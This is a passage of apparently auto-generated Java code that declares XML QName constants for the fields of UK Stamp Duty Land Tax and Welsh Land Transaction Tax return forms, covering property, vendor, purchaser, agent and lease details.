QName _SDLTSDLTPropertyAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddress4"); private final static QName _SDLTSDLTPropertyLocalAuthorityCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyLocalAuthorityCode"); private final static QName _SDLTSDLTPropertyTitleNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyTitleNumber"); private final static QName _SDLTSDLTPropertyNLPGUPRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyNLPGUPRN"); private final static QName _SDLTSDLTPropertyUnitsHectareMetres_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyUnitsHectareMetres"); private final static QName _SDLTSDLTPropertyAreaSize_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAreaSize"); private final static QName _SDLTSDLTPropertyPlanAttachedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyPlanAttachedYesNo"); private final static QName _SDLTSDLTTotalNumberOfVendors_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalNumberOfVendors"); private final static QName _SDLTSDLTVendor1Title_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Title"); private final static QName _SDLTSDLTVendor1Surname_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Surname"); private final static QName _SDLTSDLTVendor1FirstName1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1FirstName1"); private final static QName _SDLTSDLTVendor1FirstName2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1FirstName2"); private final static QName _SDLTSDLTVendor1AddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1AddressPostcode"); private final static QName _SDLTSDLTVendor1AddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1AddressBuildingNo"); private final static QName _SDLTSDLTVendor1Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Address1"); private final static QName _SDLTSDLTVendor1Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Address2"); private final static QName _SDLTSDLTVendor1Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Address3"); private final static QName _SDLTSDLTVendor1Address4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor1Address4"); private final static QName _SDLTSDLTVendorsAgentFirmName_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentFirmName"); private final static QName _SDLTSDLTVendorsAgentAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddressPostcode"); private final static QName _SDLTSDLTVendorsAgentAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddressBuildingNo"); private final static QName _SDLTSDLTVendorsAgentAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddress1"); private final static QName _SDLTSDLTVendorsAgentAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddress2"); private final static QName _SDLTSDLTVendorsAgentAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddress3"); private final static QName _SDLTSDLTVendorsAgentAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentAddress4"); private final static QName _SDLTSDLTVendorsAgentDXNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentDXNo"); private final static QName _SDLTSDLTVendorsAgentDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentDXExchange"); private final static QName _SDLTSDLTVendorsAgentEmail_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentEmail"); private final static QName _SDLTSDLTVendorsAgentReference_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentReference"); private final static QName _SDLTSDLTVendorsAgentTelNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_VendorsAgentTelNo"); private final static QName _SDLTSDLTVendor2Title_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Title"); private final static QName _SDLTSDLTVendor2Surname_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Surname"); private final static QName _SDLTSDLTVendor2FirstName1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2FirstName1"); private final static QName _SDLTSDLTVendor2FirstName2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2FirstName2"); private final static QName _SDLTSDLTVendor2AddressSameYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2AddressSameYesNo"); private final static QName _SDLTSDLTVendor2AddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2AddressPostcode"); private final static QName _SDLTSDLTVendor2AddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2AddressBuildingNo"); private final static QName _SDLTSDLTVendor2Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Address1"); private final static QName _SDLTSDLTVendor2Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Address2"); private final static QName _SDLTSDLTVendor2Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Address3"); private final static QName _SDLTSDLTVendor2Address4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Vendor2Address4"); private final static QName _SDLTSDLTPurchaser1NINumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1NINumber"); private final static QName _SDLTSDLTPurchaser1DoB_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1DoB"); private final static QName _SDLTSDLTPurchaser1VATRegNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1VATRegNo"); private final static QName _SDLTSDLTPurchaser1TaxRef_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1TaxRef"); private final static QName _SDLTSDLTPurchaser1CompanyNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1CompanyNumber"); private final static QName _SDLTSDLTPurchaser1PlaceOfIssue_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1PlaceOfIssue"); private final static QName _SDLTSDLTTotalNumberOfPurchasers_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalNumberOfPurchasers"); private final static QName _SDLTSDLTPurchaser1Title_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Title"); private final static QName _SDLTSDLTPurchaser1Surname_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Surname"); private final static QName _SDLTSDLTPurchaser1FirstName1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1FirstName1"); private final static QName _SDLTSDLTPurchaser1FirstName2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1FirstName2"); private final static QName _SDLTSDLTPurchaser1AddressSameQ28YesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1AddressSameQ28YesNo"); private final static QName _SDLTSDLTPurchaser1AddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1AddressPostcode"); private final static QName _SDLTSDLTPurchaser1AddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1AddressBuildingNo"); private final static QName _SDLTSDLTPurchaser1Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Address1"); private final static QName _SDLTSDLTPurchaser1Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Address2"); private final static QName _SDLTSDLTPurchaser1Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Address3"); private final static QName _SDLTSDLTPurchaser1Address4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Address4"); private final static QName _SDLTSDLTPurchaser1Email_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1Email"); private final static QName _SDLTSDLTPurchaser1ActingAsTrusteeYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1ActingAsTrusteeYesNo"); private final static QName _SDLTSDLTPurchaser1TelNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1TelNo"); private final static QName _SDLTSDLTPurchaserVendorConnectedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserVendorConnectedYesNo"); private final static QName _SDLTSDLTPurchaserCertificateRemoved_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserCertificateRemoved"); private final static QName _SDLTSDLTPurchaser1CorrespondenceToYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser1CorrespondenceToYesNo"); private final static QName _SDLTSDLTPurchaserAgentFirmName_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentFirmName"); private final static QName _SDLTSDLTPurchaserAgentAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddressPostcode"); private final static QName _SDLTSDLTPurchaserAgentAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddressBuildingNo"); private final static QName _SDLTSDLTPurchaserAgentAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddress1"); private final static QName _SDLTSDLTPurchaserAgentAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddress2"); private final static QName _SDLTSDLTPurchaserAgentAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddress3"); private final static QName _SDLTSDLTPurchaserAgentAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentAddress4"); private final static QName _SDLTSDLTPurchaserAgentDXNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentDXNo"); private final static QName _SDLTSDLTPurchaserAgentDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentDXExchange"); private final static QName _SDLTSDLTPurchaserAgentReference_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentReference"); private final static QName _SDLTSDLTPurchaserAgentTelNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentTelNo"); private final static QName _SDLTSDLTPurchaserAgentEmail_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserAgentEmail"); private final static QName _SDLTSDLTPurchaser2Title_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Title"); private final static QName _SDLTSDLTPurchaser2Surname_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Surname"); private final static QName _SDLTSDLTPurchaser2FirstName1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2FirstName1"); private final static QName _SDLTSDLTPurchaser2FirstName2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2FirstName2"); private final static QName _SDLTSDLTPurchaser2AddressSameYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2AddressSameYesNo"); private final static QName _SDLTSDLTPurchaser2AddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2AddressPostcode"); private final static QName _SDLTSDLTPurchaser2AddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2AddressBuildingNo"); private final static QName _SDLTSDLTPurchaser2Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Address1"); private final static QName _SDLTSDLTPurchaser2Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Address2"); private final static QName _SDLTSDLTPurchaser2Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Address3"); private final static QName _SDLTSDLTPurchaser2Address4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Address4"); private final static QName _SDLTSDLTPurchaser2Email_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2Email"); private final static QName _SDLTSDLTPurchaser2ActingAsTrusteeYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_Purchaser2ActingAsTrusteeYesNo"); private final static QName _SDLTSDLTNumberOfSDLT2S_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_NumberOfSDLT2s"); private final static QName _SDLTSDLTNumberOfSDLT3S_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_NumberOfSDLT3s"); private final static QName _SDLTSDLTNumberOfSDLT4S_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_NumberOfSDLT4s"); private final static QName _SDLTLTTReclaimingHigherRate_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_ReclaimingHigherRate"); private final static QName _SDLTLTTTotalIncludeVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TotalIncludeVAT"); private final static QName _SDLTLTTCountry_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Country"); private final static QName _SDLTLTTLandExchangedCountry_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedCountry"); private final static QName _SDLTLTTWRATaxOpinion_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_WRATaxOpinion"); private final static QName _SDLTLTTWRATaxOpinionNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_WRATaxOpinionNumber"); private final static QName _SDLTLTTPartOfOtherUK_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PartOfOtherUK"); private final static QName _SDLTLTTTaxPaymentMethod_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TaxPaymentMethod"); private final static QName _SDLTLTTReliefClaimedOnPart_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_ReliefClaimedOnPart"); private final static QName _SDLTLTTLinkedUTRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LinkedUTRN"); private final static QName _SDLTLTTPartOfSaleBusiness_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PartOfSaleBusiness"); private final static QName _SDLTLTTIncludeNotChargeable_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IncludeNotChargeable"); private final static QName _SDLTLTTMattersNotChargeable_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_MattersNotChargeable"); private final static QName _SDLTLTTAmountOtherMatters_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_AmountOtherMatters"); private final static QName _SDLTLTTUncertainFutureEvents_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_UncertainFutureEvents"); private final static QName _SDLTLTTPayOnDeferredBasis_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PayOnDeferredBasis"); private final static QName _SDLTLTTFurtherReturnPrevious_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_FurtherReturnPrevious"); private final static QName _SDLTLTTPreviousReturnUTRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PreviousReturnUTRN"); private final static QName _SDLTLTTFurtherReturnReason_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_FurtherReturnReason"); private final static QName _SDLTLTTTermSurrendered_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TermSurrendered"); private final static QName _SDLTLTTRentPreviousLease_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentPreviousLease"); private final static QName _SDLTLTTUnexpiredLeaseTerm_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_UnexpiredLeaseTerm"); private final static QName _SDLTLTTBreakClauseType_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_BreakClauseType"); private final static QName _SDLTLTTBreakClauseDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_BreakClauseDate"); private final static QName _SDLTLTTLeaseConditions_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LeaseConditions"); private final static QName _SDLTLTTContainRentReview_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_ContainRentReview"); private final static QName _SDLTLTTRentReviewFrequency_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentReviewFrequency"); private final static QName _SDLTLTTReviewClause_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_ReviewClause"); private final static QName _SDLTLTTFirstReview_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_FirstReview"); private final static QName _SDLTLTTLeaseServiceCharge_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LeaseServiceCharge"); private final static QName _SDLTLTTServiceChargeAmount_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_ServiceChargeAmount"); private final static QName _SDLTLTTIsTenantToLandlord_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IsTenantToLandlord"); private final static QName _SDLTLTTTenantToLandlord_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TenantToLandlord"); private final static QName _SDLTLTTIsLandlordToTenant_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IsLandlordToTenant"); private final static QName _SDLTLTTLandlordToTenant_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandlordToTenant"); private final static QName _SDLTLTTRentYear1_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentYear1"); private final static QName _SDLTLTTRentYear2_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentYear2"); private final static QName _SDLTLTTRentYear3_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentYear3"); private final static QName _SDLTLTTRentYear4_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentYear4"); private final static QName _SDLTLTTRentYear5_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RentYear5"); private final static QName _SDLTLTTRelevantRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_RelevantRent"); private final static QName _SDLTLTTHighestRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_HighestRent"); private final static QName _SDLTLTTLeaseBreakClause_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LeaseBreakClause"); private final static QName _SDLTLTTLandCountry_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandCountry"); private final static QName _SDLTLTTLandSituation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandSituation"); private final static QName _SDLTLTTLandArgicultural_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandArgicultural"); private final static QName _SDLTLTTCrossTitle_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_CrossTitle"); private final static QName _SDLTLTTTotalConsideration_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TotalConsideration"); private final static QName _SDLTLTTMineralsRights_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_MineralsRights"); private final static QName _SDLTLTTNetPresentValue_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_NetPresentValue"); private final static QName _SDLTLTTIDType_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IDType"); private final static QName _SDLTLTTIDTypeOther_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IDTypeOther"); private final static QName _SDLTLTTUKCompany_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_UKCompany"); private final static QName _SDLTLTTCHNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_CHNumber"); private final static QName _SDLTLTTLeaseTermYears_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LeaseTermYears"); private final static QName _SDLTLTTLandHasAddress_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandHasAddress"); private final static QName _SDLTLTTSellerHasAgent_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_SellerHasAgent"); private final static QName _SDLTLTTTotalNPVRentPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_TotalNPVRentPayable"); private final static QName _SDLTLTTVendor1IndividualOrOrganisation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor1IndividualOrOrganisation"); private final static QName _SDLTLTTVendor1Phone_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor1Phone"); private final static QName _SDLTLTTVendor1Country_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor1Country"); private final static QName _SDLTLTTVendor1AgentCountry_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor1AgentCountry"); private final static QName _SDLTLTTVendor2IndividualOrOrganisation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor2IndividualOrOrganisation"); private final static QName _SDLTLTTVendor2Country_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor2Country"); private final static QName _SDLTLTTVendor2Phone_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Vendor2Phone"); private final static QName _SDLTLTTPurchaser1IndividualOrOrganisation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser1IndividualOrOrganisation"); private final static QName _SDLTLTTPurchaser1Country_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser1Country"); private final static QName _SDLTLTTPurchaser1AgentCountry_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser1AgentCountry"); private final static QName _SDLTLTTPurchaser1Certificate_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser1Certificate"); private final static QName _SDLTLTTPurchaser2IndividualOrOrganisation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2IndividualOrOrganisation"); private final static QName _SDLTLTTPurchaser2Country_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2Country"); private final static QName _SDLTLTTPurchaser2DoB_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2DoB"); private final static QName _SDLTLTTPurchaser2CompanyNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2CompanyNumber"); private final static QName _SDLTLTTPurchaser2IDType_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2IDType"); private final static QName _SDLTLTTPurchaser2IDTypeOther_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2IDTypeOther"); private final static QName _SDLTLTTPurchaser2PlaceOfIssue_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2PlaceOfIssue"); private final static QName _SDLTLTTPurchaser2UKCompany_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2UKCompany"); private final static QName _SDLTLTTPurchaser2CHNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2CHNumber"); private final static QName _SDLTLTTPurchaser2VATRegNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2VATRegNo"); private final static QName _SDLTLTTPurchaser2TaxRef_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2TaxRef"); private final static QName _SDLTLTTPurchaser2TelNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2TelNo"); private final static QName _SDLTLTTPurchaser2VendorConnected_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2VendorConnected"); private final static QName _SDLTLTTPurchaser2NINumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Purchaser2NINumber"); private final static QName _SDLTAP1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1"); private final static QName _SDLTSDLT2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2"); private final static QName _SDLTSDLT3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3"); private final static QName _SDLTSDLT4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4"); private final static QName _SDLTSDLT4SDLT4ConsiderationStockYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationStockYesNo"); private final static QName _SDLTSDLT4SDLT4ConsiderationGoodWillYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationGoodWillYesNo"); private final static QName _SDLTSDLT4SDLT4ConsiderationOtherYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationOtherYesNo"); private final static QName _SDLTSDLT4SDLT4ConsiderationChattelsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationChattelsYesNo"); private final static QName _SDLTSDLT4SDLT4TotalConsiderationAmount_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_TotalConsiderationAmount"); private final static QName _SDLTSDLT4SDLT4PropertyUseOffice_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseOffice"); private final static QName _SDLTSDLT4SDLT4PropertyUseHotel_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseHotel"); private final static QName _SDLTSDLT4SDLT4PropertyUseShop_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseShop"); private final static QName _SDLTSDLT4SDLT4PropertyUseWarehouse_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseWarehouse"); private final static QName _SDLTSDLT4SDLT4PropertyUseFactory_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseFactory"); private final static QName _SDLTSDLT4SDLT4PropertyUseOther_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseOther"); private final static QName _SDLTSDLT4SDLT4PropertyUseOtherInd_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUseOtherInd"); private final static QName _SDLTSDLT4SDLT4PostTransactionRulingYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PostTransactionRulingYesNo"); private final static QName _SDLTSDLT4SDLT4IfYesHasRullingBeenFollowed_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_IfYesHasRullingBeenFollowed"); private final static QName _SDLTSDLT4SDLT4ConsiderationDependentOnFutureEventsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationDependentOnFutureEventsYesNo"); private final static QName _SDLTSDLT4SDLT4DeferredPaymentAgreedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_DeferredPaymentAgreedYesNo"); private final static QName _SDLTSDLT4SDLT4PropertyMineralRightsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyMineralRightsYesNo"); private final static QName _SDLTSDLT4SDLT4Purchaser1DescriptionCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_Purchaser1DescriptionCode"); private final static QName _SDLTSDLT4SDLT4Purchaser2DescriptionCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_Purchaser2DescriptionCode"); private final static QName _SDLTSDLT4SDLT4Purchaser3DescriptionCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_Purchaser3DescriptionCode"); private final static QName _SDLTSDLT4SDLT4Purchaser4DescriptionCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_Purchaser4DescriptionCode"); private final static QName _SDLTSDLT4SDLT4PropertyTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyTypeCode"); private final static QName _SDLTSDLT4SDLT4PropertySameAddressAsSDLT1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertySameAddressAsSDLT1"); private final static QName _SDLTSDLT4SDLT4PropertyAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddressPostcode"); private final static QName _SDLTSDLT4SDLT4PropertyAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddressBuildingNo"); private final static QName _SDLTSDLT4SDLT4PropertyAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddress1"); private final static QName _SDLTSDLT4SDLT4PropertyAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddress2"); private final static QName _SDLTSDLT4SDLT4PropertyAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddress3"); private final static QName _SDLTSDLT4SDLT4PropertyAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAddress4"); private final static QName _SDLTSDLT4SDLT4PropertyLocalAuthorityCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyLocalAuthorityCode"); private final static QName _SDLTSDLT4SDLT4PropertyTitleNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyTitleNumber"); private final static QName _SDLTSDLT4SDLT4PropertyNLPGUPRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyNLPGUPRN"); private final static QName _SDLTSDLT4SDLT4PropertyUnitsHectareMetres_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyUnitsHectareMetres"); private final static QName _SDLTSDLT4SDLT4PropertyAreaSize_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyAreaSize"); private final static QName _SDLTSDLT4SDLT4PropertyPlanAttachedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyPlanAttachedYesNo"); private final static QName 